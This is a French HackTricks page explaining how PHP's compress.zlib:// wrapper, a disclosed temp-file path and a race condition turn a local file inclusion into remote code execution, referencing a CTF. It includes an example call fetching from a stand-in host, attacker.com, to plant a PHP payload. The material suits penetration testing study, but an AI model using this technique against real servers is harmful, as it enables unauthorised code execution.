hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
2023-06-03 13:10:46 +00:00

3.7 KiB

compress.zlib:// et PHP_STREAM_PREFER_STDIO

Un fichier ouvert en utilisant le protocole compress.zlib:// avec le drapeau PHP_STREAM_PREFER_STDIO peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.

Cela signifie qu'un appel tel que:

file_get_contents("compress.zlib://http://attacker.com/file")

Vous enverrez une requête demandant http://attacker.com/file, puis le serveur pourrait répondre à la requête avec une réponse HTTP valide, maintenir la connexion ouverte et envoyer des données supplémentaires ultérieurement qui seront également écrites dans le fichier.

Vous pouvez voir cette information dans cette partie du code php-src dans main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();
    } else {
        *newstream = php_stream_temp_new();
    }

Course à la condition de RCE

Ce CTF a été résolu en utilisant la technique précédente.

L'attaquant va faire en sorte que le serveur victime ouvre une connexion pour lire un fichier depuis le serveur de l'attaquant en utilisant le protocole compress.zlib.

Tant que cette connexion existe, l'attaquant va exfiltrer le chemin d'accès au fichier temporaire créé (celui-ci est divulgué par le serveur).

Tant que la connexion est toujours ouverte, l'attaquant va exploiter une LFI en chargeant le fichier temporaire qu'il contrôle.

Cependant, il y a une vérification dans le serveur web qui empêche le chargement de fichiers contenant <?. Par conséquent, l'attaquant va exploiter une course conditionnelle. Dans la connexion qui est toujours ouverte, l'attaquant va envoyer la charge utile PHP APRÈS que le serveur web ait vérifié si le fichier contient les caractères interdits mais AVANT de charger son contenu.

Pour plus d'informations, consultez la description de la course conditionnelle et du CTF sur https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥